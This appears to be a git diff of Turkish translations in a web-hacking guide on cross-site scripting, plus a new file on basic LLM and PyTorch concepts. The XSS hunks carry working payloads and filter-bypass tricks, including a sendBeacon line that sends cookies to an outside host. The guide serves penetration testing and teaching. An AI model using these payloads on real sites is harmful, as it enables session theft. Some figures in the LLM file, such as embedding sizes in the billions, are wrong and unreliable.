<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
|
@ -170,11 +170,11 @@ Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceği
|
|||
|
||||
### Etiketler/Olaylar brute-force
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve daha önceki prosedürü takip edin).
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
|
||||
### Özel etiketler
|
||||
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
Eğer geçerli bir HTML etiketi bulamazsanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -275,12 +275,12 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
|
|||
```
|
||||
### Attribute içinde
|
||||
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içinde atlatma**
|
||||
|
||||
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
|
||||
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
|
||||
|
||||
**Her türlü HTML kodlaması geçerlidir**:
|
||||
```javascript
|
||||
|
@ -359,7 +359,7 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -385,7 +385,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Eğer herhangi bir URL'yi **`<a href=`** etiketine enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız ve bu etiket **`target="_blank" ve rel="opener"`** niteliklerini içeriyorsa, bu davranışı istismar etmek için **aşağıdaki sayfayı kontrol edin**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS "Kullanılamaz etiketler" (gizli girdi, bağlantı, kanonik, meta)
|
||||
### XSS "Kullanılamaz etiketlerde" (gizli girdi, bağlantı, kanonik, meta)
|
||||
|
||||
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **gizli girdileri kötüye kullanmak artık mümkün:**
|
||||
```html
|
||||
|
@ -424,7 +424,7 @@ Ve **meta etiketlerinde**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz, eğer **kurbanı** **tuş kombinasyonuna** **ikna** edebilirseniz. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -474,7 +474,7 @@ Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</scrip
|
|||
|
||||
### \<script> etiketini kaçırma
|
||||
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini kolayca **kapatabilirsiniz:**
|
||||
Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içinde yer alıyorsa, `<script>` etiketini **kolayca kapatabilirsiniz:**
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -490,10 +490,10 @@ Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS**
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
**Dizgiler** oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca **ters tırnak** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon dizgileri olarak bilinir.\
|
||||
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizgesi içinde **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
|
||||
**Dize** oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca **ters tırnak** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon dizeleri olarak bilinir.\
|
||||
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
|
||||
|
||||
Bu, **kötüye kullanılabilir**:
|
||||
Bu, şu şekilde **kötüye kullanılabilir**:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOM zafiyetleri**
|
||||
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
|
||||
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
@ -743,7 +743,7 @@ top[8680439..toString(30)](1)
|
|||
{% endcontent-ref %}
|
||||
|
||||
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
|
||||
Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
|
||||
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
|
||||
|
||||
### Self-XSS'i Yükseltme
|
||||
|
||||
|
@ -755,11 +755,11 @@ Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız,
|
|||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Bu tekniğin harika bir kötüye kullanımını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
|
||||
Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
|
||||
|
||||
### Oturumunuzu yöneticilere gönderme
|
||||
|
||||
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcı profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
|
||||
|
||||
### Oturum Yansıtma
|
||||
|
||||
|
@ -771,7 +771,7 @@ Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum
|
|||
|
||||
### Normalleştirilmiş Unicode
|
||||
|
||||
**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları atlatmak için kötüye kullanabilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/#xss-cross-site-scripting).
|
||||
**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları atlatmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL bayrağı Atlatma
|
||||
```javascript
|
||||
|
@ -824,7 +824,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
|
||||
|
||||
[**bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
|
||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
|
||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
|
||||
|
||||
### Sadece Harfler, Sayılar ve Noktalar
|
||||
|
@ -833,7 +833,7 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
|
|||
|
||||
### XSS için Geçerli `<script>` İçerik Türleri
|
||||
|
||||
([**buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
|
||||
|
||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
|
||||
|
||||
|
@ -895,7 +895,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Bu davranış, [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, böylece XSS tetiklenebilir.
|
||||
Bu davranış, [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) bir kütüphaneyi eval ile yeniden haritalamak için kullanıldı, bu da XSS tetikleyebilir.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik, önceden render etmenin neden olduğu bazı sorunları çözmek için tasarlanmıştır. Şöyle çalışır:
|
||||
```html
|
||||
|
@ -942,7 +942,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
|
|||
|
||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kullanabilir: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir **JSON dizesini** bir script içinde kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
|
||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
|
||||
|
||||
### Chrome Önbelleği ile XSS
|
||||
|
||||
|
@ -1117,7 +1117,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylem
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemeyeceksiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
|
||||
JavaScript'ten çerezlere **erişemeyeceksiniz** eğer çerezde HTTPOnly bayrağı ayarlanmışsa. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
|
||||
{% endhint %}
|
||||
|
||||
### Sayfa İçeriğini Çalmak
|
||||
|
@ -1358,7 +1358,7 @@ Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunla
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1366,7 +1366,7 @@ HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek
|
|||
|
||||
### Amp4Email'de XSS
|
||||
|
||||
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
|
||||
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlar ve hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
|
||||
|
||||
|
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
|
282
todo/llm-training-data-preparation/0.-basic-llm-concepts.md
Normal file
|
@ -0,0 +1,282 @@
|
|||
# 0. Temel LLM Kavramları
|
||||
|
||||
## Ön Eğitim
|
||||
|
||||
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapılarını, kalıplarını ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da performansını ve hedef uygulamalardaki alaka düzeyini artırır.
|
||||
|
||||
## Ana LLM Bileşenleri
|
||||
|
||||
Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakterize edilir. Bir LLM eğitirken yaygın bileşenler şunlardır:
|
||||
|
||||
* **Parametreler**: Parametreler, sinir ağındaki **öğrenilebilir ağırlıklar ve önyargılardır**. Bu, eğitim sürecinin kayıp fonksiyonunu minimize etmek ve modelin görev üzerindeki performansını artırmak için ayarladığı sayılardır. LLM'ler genellikle milyonlarca parametre kullanır.
|
||||
* **Bağlam Uzunluğu**: Bu, LLM'yi ön eğitim için kullanılan her cümlenin maksimum uzunluğudur.
|
||||
* **Gömme Boyutu**: Her token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır.
|
||||
* **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu.
|
||||
* **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır.
|
||||
* **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır.
|
||||
* **Dropout**: Dropout, eğitim sırasında verilerin kaldırılan yüzdesi gibidir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
|
||||
|
||||
GPT-2 modelinin yapılandırması:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## PyTorch'ta Tensörler
|
||||
|
||||
PyTorch'ta bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
|
||||
|
||||
### Tensörlerin Matematiksel Kavramı
|
||||
|
||||
* **Skalarlar**: Tek bir sayıyı temsil eden 0. dereceden tensörler (sıfır boyutlu). Örnek: 5
|
||||
* **Vektörler**: Bir dizi sayıyı temsil eden 1. dereceden tensörler. Örnek: \[5,1]
|
||||
* **Matrisler**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensörler. Örnek: \[\[1,3], \[5,2]]
|
||||
* **Daha Yüksek Dereceli Tensörler**: 3 veya daha fazla dereceden tensörler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensörler).
|
||||
|
||||
### Tensörler Veri Konteyneri Olarak
|
||||
|
||||
Hesaplama perspektifinden, tensörler çok boyutlu veriler için konteynerler olarak işlev görür; her boyut verinin farklı özelliklerini veya yönlerini temsil edebilir. Bu, tensörleri makine öğrenimi görevlerinde karmaşık veri setlerini işlemek için son derece uygun hale getirir.
|
||||
|
||||
### PyTorch Tensörleri vs. NumPy Dizileri
|
||||
|
||||
PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısından NumPy dizilerine benzerken, derin öğrenme için kritik olan ek işlevsellikler sunar:
|
||||
|
||||
* **Otomatik Türev Alma**: PyTorch tensörleri, sinir ağlarını eğitmek için gereken türevlerin hesaplanmasını basitleştiren otomatik gradyan hesaplamasını (autograd) destekler.
|
||||
* **GPU Hızlandırması**: PyTorch'taki tensörler, GPU'lara taşınabilir ve burada hesaplanabilir, bu da büyük ölçekli hesaplamaları önemli ölçüde hızlandırır.
|
||||
|
||||
### PyTorch'ta Tensör Oluşturma
|
||||
|
||||
Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Tensor Veri Türleri
|
||||
|
||||
PyTorch tensörleri, tam sayılar ve kayan noktalı sayılar gibi çeşitli türlerde verileri depolayabilir. 
|
||||
|
||||
Bir tensörün veri türünü `.dtype` niteliğini kullanarak kontrol edebilirsiniz:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
* Python tamsayılarından oluşturulan tensörler `torch.int64` türündedir.
|
||||
* Python ondalık sayılarından oluşturulan tensörler `torch.float32` türündedir.
|
||||
|
||||
Bir tensörün veri türünü değiştirmek için `.to()` yöntemini kullanın:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Yaygın Tensor İşlemleri
|
||||
|
||||
PyTorch, tensörleri manipüle etmek için çeşitli işlemler sunar:
|
||||
|
||||
* **Şekil Erişimi**: Bir tensörün boyutlarını almak için `.shape` kullanın.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Çıktı: torch.Size([2, 2])
|
||||
```
|
||||
* **Tensörleri Yeniden Şekillendirme**: Şekli değiştirmek için `.reshape()` veya `.view()` kullanın.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
* **Tensörleri Transpoze Etme**: 2D bir tensörü transpoze etmek için `.T` kullanın.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
* **Matris Çarpımı**: `.matmul()` veya `@` operatörünü kullanın.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Derin Öğrenmedeki Önemi
|
||||
|
||||
Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir:
|
||||
|
||||
* Girdi verilerini, ağırlıkları ve biasları depolar.
|
||||
* Eğitim algoritmalarında ileri ve geri geçişler için gereken işlemleri kolaylaştırır.
|
||||
* Autograd ile tensörler, gradyanların otomatik hesaplanmasını sağlar ve optimizasyon sürecini kolaylaştırır.
|
||||
|
||||
## Otomatik Türev Alma
|
||||
|
||||
Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde değerlendirmek için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
|
||||
|
||||
### Otomatik Türev Almanın Matematiksel Açıklaması
|
||||
|
||||
**1. Zincir Kuralı**
|
||||
|
||||
Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşik fonksiyonun türevinin, bileşen fonksiyonların türevlerinin çarpımı olduğunu belirtir.
|
||||
|
||||
Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre türevi:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Hesaplama Grafiği**
|
||||
|
||||
AD'de, hesaplamalar **hesaplama grafiği** olarak temsil edilir; burada her düğüm bir işlem veya bir değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz.
|
||||
|
||||
3. Örnek
|
||||
|
||||
Basit bir fonksiyonu ele alalım:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Burada:
|
||||
|
||||
* `σ(z)` sigmoid fonksiyonudur.
|
||||
* `y=1.0` hedef etikettir.
|
||||
* `L` kayıptır.
